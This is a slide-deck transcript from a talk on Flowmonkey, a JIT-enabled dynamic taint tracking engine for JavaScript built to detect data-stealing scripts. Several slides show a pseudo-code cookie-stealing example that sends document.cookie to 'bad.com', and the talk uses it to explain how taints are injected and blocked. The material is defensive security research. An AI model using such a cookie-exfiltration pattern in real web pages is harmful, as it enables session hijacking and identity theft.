Top Banner
Flowmonkey : A Fast Dynamic Taint Tracking Engine for JavaScript Don Jang UC San Diego
37

document.cookie Identity Theft ✗ Cookie Stealing.

Jan 02, 2016

Download

Documents

Owen Butler
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: document.cookie Identity Theft ✗ Cookie Stealing.

Flowmonkey: A Fast Dynamic Taint Tracking

Engine for JavaScript

Don Jang UC San Diego

Page 2: document.cookie Identity Theft ✗ Cookie Stealing.
Page 3: document.cookie Identity Theft ✗ Cookie Stealing.

document.cookie

Identity Theft✗ Cookie Stealing

Page 4: document.cookie Identity Theft ✗ Cookie Stealing.

Password

Credit card #

Browsing history

Page 5: document.cookie Identity Theft ✗ Cookie Stealing.
Page 6: document.cookie Identity Theft ✗ Cookie Stealing.

Epidemic of Data Stealing JavaScript!

Page 7: document.cookie Identity Theft ✗ Cookie Stealing.

How to Detect Data Stealing?

Without Sacrificing Performance?

Page 8: document.cookie Identity Theft ✗ Cookie Stealing.

MotivationDynamic Taint Tracking

FlowmonkeyFuture Work&Conclusion

Page 9: document.cookie Identity Theft ✗ Cookie Stealing.

Dynamic Taint Tracking

Tracks where a value goes at runtime

Page 10: document.cookie Identity Theft ✗ Cookie Stealing.
Page 11: document.cookie Identity Theft ✗ Cookie Stealing.

Dynamic Taint Tracking

1. Tag a value with a taint2. Propagate taints with the value3. Block taints from untrusted sinks

Page 12: document.cookie Identity Theft ✗ Cookie Stealing.

Example:Cookie Stealing

ck = document.cookie data = tmp + ck;

send(“bad.com”, data);

Page 13: document.cookie Identity Theft ✗ Cookie Stealing.

Example:Cookie Stealing

Inject Taints(At confidential sources)

ck = document.cookie data = tmp + ck;

send(“bad.com”, data );

document.cookie;

Page 14: document.cookie Identity Theft ✗ Cookie Stealing.

Example:Cookie Stealing

Propagate Taints(At assignments, etc)

ck = document.cookie; data = tmp + ck;

send(“bad.com”, data );

ck

ck;tmp +data

data

Page 15: document.cookie Identity Theft ✗ Cookie Stealing.

ck = document.cookie; data = tmp + ck;

send(“bad.com”, data );

Example:Cookie Stealing

Block Taints(At untrusted sinks)

“cr=” + color

send(“bad.com”, data );

Page 16: document.cookie Identity Theft ✗ Cookie Stealing.

Dynamic Taint Tracking:Policies

Cookie Protectioncookie send()

Password Protectionpassword send()

✗ ✗

General Policysecret info expression✗

Page 17: document.cookie Identity Theft ✗ Cookie Stealing.

Dynamic Taint Tracking:JSCross site scripting prevention with dynamic data

tainting and static analysis, NDSS'07

Analyzing information flow in JavaScript-based browser extensions, ACSAC'09

An Empirical Study of Privacy-Violating Information Flows in JavaScript Web Applications, CCS'10

10~100x slowdown

Page 18: document.cookie Identity Theft ✗ Cookie Stealing.

Goal: Make It Fast

Page 19: document.cookie Identity Theft ✗ Cookie Stealing.

MotivationDynamic Taint Tracking

FlowmonkeyFuture Work&Conclusion

Page 20: document.cookie Identity Theft ✗ Cookie Stealing.

Interpreter JIT Engine

Source code

Based on Jaegermonkey

Modification M

Taint tracking logic is augmented

Page 21: document.cookie Identity Theft ✗ Cookie Stealing.

Language Extensions__taint(val, t)

val: a value to be taintedt : a taint to be used

Page 22: document.cookie Identity Theft ✗ Cookie Stealing.

Language Extensions__taintof(val)

returns the taint of val

Page 23: document.cookie Identity Theft ✗ Cookie Stealing.

Language Extensions var secret = __taint(34349, 1); tmp = secret * 68; tmp2 = tmp + “345”; tmp3 = parseInt(tmp2);

alert(__taintof(tmp)); // 1 is printed

Page 24: document.cookie Identity Theft ✗ Cookie Stealing.

Implementation: Shadow Stack

s * 6push s //s=5push 6mul

5

6

30

6’s taint

s’ taintJoined taint

Real Stack Shadow Stack

Page 25: document.cookie Identity Theft ✗ Cookie Stealing.

Implementation: Shadow Property

a.fld = secret

a

fld …

fld‘s taint …

Real Properties

Shadow Properties

Page 26: document.cookie Identity Theft ✗ Cookie Stealing.

Hybrid Approach

Full-fledged Taint Tracking

Interpreter

Taint DetectingJIT Engine

Page 27: document.cookie Identity Theft ✗ Cookie Stealing.

Hybrid Approach

Full-fledged Taint Tracking

Interpreter

Taint DetectingJIT Engine

If it doesn’t touch a taint

Page 28: document.cookie Identity Theft ✗ Cookie Stealing.

Hybrid Approach

Full-fledged Taint Tracking

Interpreter

Taint DetectingJIT Engine

Taint detected!!

Do full-fledgedtaint tracking

Page 29: document.cookie Identity Theft ✗ Cookie Stealing.

Hybrid Approach

Rapid prototypingFast with few taints

Slow with many taints

Page 30: document.cookie Identity Theft ✗ Cookie Stealing.

Performance: Baseline

Sunspidercookie doesn’t flow to 3rd party

code

Page 31: document.cookie Identity Theft ✗ Cookie Stealing.

Performance: Cookie Tracking

Sunspidercookie doesn’t flow to 3rd party

code

Page 32: document.cookie Identity Theft ✗ Cookie Stealing.

Demo

Page 33: document.cookie Identity Theft ✗ Cookie Stealing.

MotivationDynamic Taint Tracking

FlowmonkeyFuture Work&Conclusion

Page 34: document.cookie Identity Theft ✗ Cookie Stealing.

Future WorkMissing Flows

Implicit Flows, Timing Channel, etc

Empirical StudyTo prove the usability of taint tracking

Page 35: document.cookie Identity Theft ✗ Cookie Stealing.

ConclusionsA Fast Hybrid Taint Tracking EngineFirst JIT-enabled taint tracking engine

Still Many Missing PartsPossible to make it a protection tool?Can we sacrifice some performance?

Page 36: document.cookie Identity Theft ✗ Cookie Stealing.

Resourceshttp://firebird.ucsd.edu/flowmonkey

Page 37: document.cookie Identity Theft ✗ Cookie Stealing.

Thank you!